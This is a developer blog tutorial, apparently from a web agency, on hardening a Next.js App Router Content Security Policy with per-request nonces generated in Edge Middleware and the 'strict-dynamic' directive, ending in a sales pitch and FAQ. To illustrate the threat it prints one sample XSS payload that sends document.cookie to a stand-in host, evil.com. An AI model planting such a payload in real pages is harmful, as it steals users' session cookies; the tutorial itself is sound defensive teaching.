TL;DR: Secure your Next.js App Router against XSS by replacing the dangerous
'unsafe-inline'CSP directive with dynamic cryptographic nonces. This guide demonstrates how to generate per-request nonces in Edge Middleware using the Web Crypto API and pass them to Server Components via thex-nonceheader. You will also learn how to leverage the'strict-dynamic'directive to safely load complex third-party scripts without maintaining massive domain whitelists.
⚡ Key Takeaways
- Remove the
'unsafe-inline'directive from your staticnext.config.jsheaders to prevent Cross-Site Scripting (XSS) payload execution during React hydration. - Generate unique, per-request nonces inside
middleware.tsusing the Edge-compatiblecrypto.randomUUID()instead of Node'scrypto.randomBytes. - Encode your cryptographic nonce into a base64 string using
Buffer.from(crypto.randomUUID()).toString('base64'). - Pass the generated nonce to your Next.js Server Components by cloning the request headers and setting a custom
x-nonceheader viaNextResponse.next(). - Use the
'strict-dynamic'CSP directive to automatically trust scripts injected by nonce-validated scripts, eliminating the need to whitelist domains for tools like Google Tag Manager.
Modern React applications built on Next.js rely heavily on injecting inline scripts to manage server-to-client state hydration. When you inspect the page source of a Server-Side Rendered (SSR) Next.js app, you will find multiple <script> tags containing JSON data and chunk-loading logic.
Faced with these requirements, developers often take the path of least resistance when configuring their Content Security Policy (CSP): they explicitly allow all inline scripts by adding 'unsafe-inline' to their script-src directive.
This is a critical security failure.
By allowing 'unsafe-inline', you leave your application exposed to Cross-Site Scripting (XSS) attacks. If an attacker manages to inject a malicious script into your DOM via unescaped user input or a compromised third-party package, the browser will execute it without hesitation. For enterprise applications handling PII or payment data, this means failed security audits, compromised user sessions, and potential data breaches.
The solution is implementing a Strict CSP using cryptographic nonces (Number Used Once). In this guide, we will walk through correctly generating dynamic nonces via Next.js Edge Middleware, injecting them into the App Router, and ensuring third-party scripts load securely.
The unsafe-inline Trap in SSR React Applications
A Content Security Policy is an HTTP response header that dictates which dynamic resources are allowed to load and execute in the browser.
Historically, developers securing a static website could restrict scripts to self-hosted files and trusted domains. However, if you attempt to apply a restrictive CSP via your next.config.js without a nonce, your Next.js application will break immediately upon hydration.
Here is an example of a common, yet deeply flawed, configuration in next.config.js:
// next.config.js
// Anti-pattern: Relying on 'unsafe-inline' ruins your CSP's effectiveness.
const securityHeaders = [
{
key: 'Content-Security-Policy',
// DANGER: 'unsafe-inline' allows attackers to execute injected XSS payloads
value: "default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google-analytics.com;"
}
];
module.exports = {
async headers() {
return [
{
source: '/(.*)',
headers: securityHeaders,
},
];
},
};
When an XSS payload (e.g., <script>fetch('https://evil.com/?cookie='+document.cookie)</script>) finds its way into the DOM, the browser sees 'unsafe-inline' in the header and grants the malicious script execution rights.
To fix this, we must remove 'unsafe-inline' and instead generate a unique cryptographic string for every single page request. We attach this string to our CSP header and to the specific <script> tags we trust. If an attacker injects a script, it will not possess the correct nonce for that specific request, and the browser will block it.
Generating Cryptographic Nonces in Next.js Middleware
Because nonces must be unique per request, we cannot define them in static configuration files like next.config.js. We must generate them dynamically before the page renders.
Next.js Edge Middleware is the perfect tool for this. Middleware intercepts requests before they hit your Next.js Server Components, allowing us to generate the nonce, build the CSP header, and pass both down the pipeline.
Create a middleware.ts file in your project root (or inside the src directory if you use one).
// src/middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
// 1. Generate a secure, cryptographic nonce using the Web Crypto API
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
// 2. Clone the request headers so we can append our newly generated nonce
const requestHeaders = new Headers(request.headers);
// Attach the nonce to the request headers for Server Components to read
requestHeaders.set('x-nonce', nonce);
// 3. Create the response object
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
return response;
}
Performance Note: We use the native Web Crypto API (
crypto.randomUUID) because Node.js-specific modules likecrypto.randomBytesare not available by default in the Vercel Edge Runtime.
Constructing the Strict CSP Header
Now that we have a nonce, we need to build the actual Content-Security-Policy string.
For modern applications, maintaining a massive whitelist of every external domain you load scripts from is tedious and fragile. Instead, security-conscious engineers prefer the strict-dynamic directive.
'strict-dynamic' tells the browser: "If a script has a valid nonce, trust it. Furthermore, if that trusted script dynamically injects other scripts, trust those too." This drastically simplifies handling complex third-party tools like Google Tag Manager or Stripe, which often inject secondary scripts from unpredictable subdomains.
Let's update our middleware to construct and apply the CSP header:
// src/middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
// Constructing the CSP
// Note: We include 'unsafe-inline' ONLY as a fallback for older browsers
// that do not support 'nonce-'. Modern browsers ignore 'unsafe-inline'
// if a nonce or 'strict-dynamic' is present.
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic' 'unsafe-inline' https:;
style-src 'self' 'unsafe-inline';
img-src 'self' blob: data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim(); // Strip formatting whitespace
// Set the CSP header on the request so Next.js can read it
requestHeaders.set('Content-Security-Policy', cspHeader);
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
// Attach the CSP header to the outgoing response to the browser
response.headers.set('Content-Security-Policy', cspHeader);
return response;
}
// Optimize middleware execution by ignoring static assets
export const config = {
matcher: [
/*
* Match all request paths except for the ones starting with:
* - api (API routes)
* - _next/static (static files)
* - _next/image (image optimization files)
* - favicon.ico (favicon file)
*/
{
source: '/((?!api|_next/static|_next/image|favicon.ico).*)',
missing: [
{ type: 'header', key: 'next-router-prefetch' },
{ type: 'header', key: 'purpose', value: 'prefetch' },
],
},
],
};
By adding the matcher configuration, we prevent the middleware from running on static assets like CSS files and images. Generating dynamic nonces for static assets is unnecessary and wastes edge compute resources.
Applying the Nonce to React Components and Next.js Script Tags
With the middleware passing the x-nonce and Content-Security-Policy headers down into the Next.js App Router, the framework automatically picks up the CSP header and applies the nonce to its internal hydration scripts (in Next.js 13+).
However, you will still need to extract the nonce in your root layout to apply it to any custom <Script> tags your application relies on.
Establishing this secure layout structure early prevents severe technical debt from accumulating when enterprise clients inevitably demand SOC2 compliance or third-party penetration testing.
// src/app/layout.tsx
import { headers } from 'next/headers';
import './globals.css';
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
// Read the nonce from the request headers injected by middleware
const headersList = headers();
const nonce = headersList.get('x-nonce') || undefined;
return (
<html lang="en">
<body className="bg-gray-50 text-gray-900">
{/* The nonce is available here for custom scripts */}
{children}
</body>
</html>
);
}
Handling Third-Party Scripts and External Assets
Enterprise applications rarely exist in isolation. You will likely need to integrate analytics, customer support widgets, and payment gateways.
Because we used the 'strict-dynamic' directive in our CSP, we do not need to whitelist the varying URLs of these scripts. We only need to provide the nonce to the initial script tag using the next/script component.
// src/app/layout.tsx
import { headers } from 'next/headers';
import Script from 'next/script';
import './globals.css';
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
const headersList = headers();
const nonce = headersList.get('x-nonce') || '';
return (
<html lang="en">
<head>
{/* Providing the nonce allows this script to execute. */}
{/* Because of 'strict-dynamic', scripts injected by GTM are also allowed. */}
<Script
id="google-tag-manager"
strategy="afterInteractive"
nonce={nonce}
dangerouslySetInnerHTML={{
__html: `
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;var n=d.querySelector('[nonce]');
n&&j.setAttribute('nonce',n.nonce||n.getAttribute('nonce'));f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-XXXXXXX');
`,
}}
/>
</head>
<body>
{children}
</body>
</html>
);
}
Notice the specific modification inside the GTM snippet: n&&j.setAttribute('nonce',n.nonce||n.getAttribute('nonce'));. This ensures that the initial GTM script propagates the nonce down to any secondary <script> tags it tries to inject into the DOM, keeping everything compliant with your CSP.
The Caching Trade-off: Static Export vs. Dynamic Nonces
As an intermediate or senior engineer, you must understand the architectural trade-offs of this security implementation.
Because a nonce must be unique for every single request, a page returning a nonce cannot be statically cached at the CDN level. If Cloudflare or Vercel's Edge Network caches the HTML response, the cached nonce will be reused for subsequent visitors. If an attacker acquires that cached nonce, your CSP is completely bypassed.
By reading headers() in your root layout and running Edge Middleware, you are opting your application into dynamic rendering. For most personalized, authenticated enterprise applications (such as dashboards and SaaS platforms), this is perfectly acceptable, as the content is inherently dynamic.
However, if you are building a highly trafficked marketing site where TTFB (Time to First Byte) is critical, you have two primary options:
- Rely entirely on Edge Middleware: Vercel automatically evaluates middleware at the edge, meaning you can still benefit from global edge compute distribution even if the page itself isn't statically cached.
- Hash-based CSP: Instead of nonces, you can compute SHA-256 hashes of your inline scripts at build time. This allows static caching, but it is notoriously difficult to maintain in Next.js because framework chunk hashes change on every build and are injected unpredictably.
Reporting CSP Violations in Production
Deploying a strict CSP without testing can break your production application by blocking legitimate scripts.
Before enforcing the policy, you should run your application in Report-Only mode. This instructs the browser to evaluate the CSP and allow all scripts to execute, but it will send a JSON report to a designated endpoint whenever a violation occurs.
Update your middleware to use Content-Security-Policy-Report-Only and configure a reporting endpoint:
// src/middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const requestHeaders = new Headers(request.headers);
requestHeaders.set('x-nonce', nonce);
// Add the report-uri directive to send violations to our backend or a service like Sentry
const cspHeader = `
default-src 'self';
script-src 'self' 'nonce-${nonce}' 'strict-dynamic' 'unsafe-inline' https:;
style-src 'self' 'unsafe-inline';
img-src 'self' blob: data: https:;
font-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
report-uri /api/csp-report;
`.replace(/\s{2,}/g, ' ').trim();
const response = NextResponse.next({
request: {
headers: requestHeaders,
},
});
// Start with Report-Only in production for 1-2 weeks
response.headers.set('Content-Security-Policy-Report-Only', cspHeader);
return response;
}
Once you review the violation logs and ensure no critical third-party scripts are being blocked, you can safely switch back to the enforcing Content-Security-Policy header.
Securing a Next.js App Router application requires moving past the default configurations and understanding how browsers interpret security headers. By leveraging Edge Middleware to inject dynamic nonces, you eliminate entire classes of XSS vulnerabilities while maintaining the robust developer experience of modern React.
Work With Us
Need help building this in production? SoftwareCrafting is a full-stack dev agency — we ship React, Next.js, Node.js, React Native & Flutter apps for global clients.
Frequently Asked Questions
Why shouldn't I use 'unsafe-inline' in my Next.js Content Security Policy?
Using 'unsafe-inline' completely defeats the purpose of a CSP by allowing any injected script to execute, leaving your application highly vulnerable to Cross-Site Scripting (XSS) attacks. Instead of taking this path of least resistance for Next.js hydration, you should use cryptographic nonces to strictly control which inline scripts are permitted to run.
How do I generate a unique CSP nonce per request in the Next.js App Router?
Because nonces must be unique for every single page load, they cannot be defined in static files like next.config.js. You should generate them dynamically using Next.js Edge Middleware by intercepting the request, creating the nonce, and appending it to the request headers (e.g., x-nonce) before passing it to your Server Components.
Why should I use crypto.randomUUID() instead of crypto.randomBytes for Next.js nonces?
Next.js Middleware executes in the Edge Runtime, which does not support native Node.js modules like crypto.randomBytes by default. Using the standard Web Crypto API via crypto.randomUUID() ensures your cryptographic nonce generation works flawlessly and performantly at the edge.
What is the 'strict-dynamic' CSP directive and how does it help Next.js apps?
The 'strict-dynamic' directive tells the browser to trust any script that possesses a valid nonce, as well as any subsequent scripts dynamically injected by that initially trusted script. This drastically simplifies your CSP by eliminating the need to maintain massive, fragile domain whitelists for complex third-party tools like Google Tag Manager.
How can I ensure my Next.js CSP is properly configured for enterprise security?
Implementing strict CSPs with nonces and 'strict-dynamic' directives can be complex and easily broken by poorly integrated third-party scripts. The experts at SoftwareCrafting offer comprehensive security audits and Next.js consulting services to help you implement bulletproof, enterprise-grade security without breaking your application's hydration or functionality.
Can SoftwareCrafting help my team migrate an existing Next.js app to a strict CSP?
Yes, migrating a legacy Next.js application from 'unsafe-inline' to a strict nonce-based CSP often requires careful refactoring of middleware, headers, and third-party integrations. SoftwareCrafting provides specialized development services to seamlessly integrate these advanced security patterns into your existing codebase while ensuring zero deployment downtime.
📎 Full Code on GitHub Gist: The complete
next.config.jsfrom this post is available as a standalone GitHub Gist — copy, fork, or embed it directly.
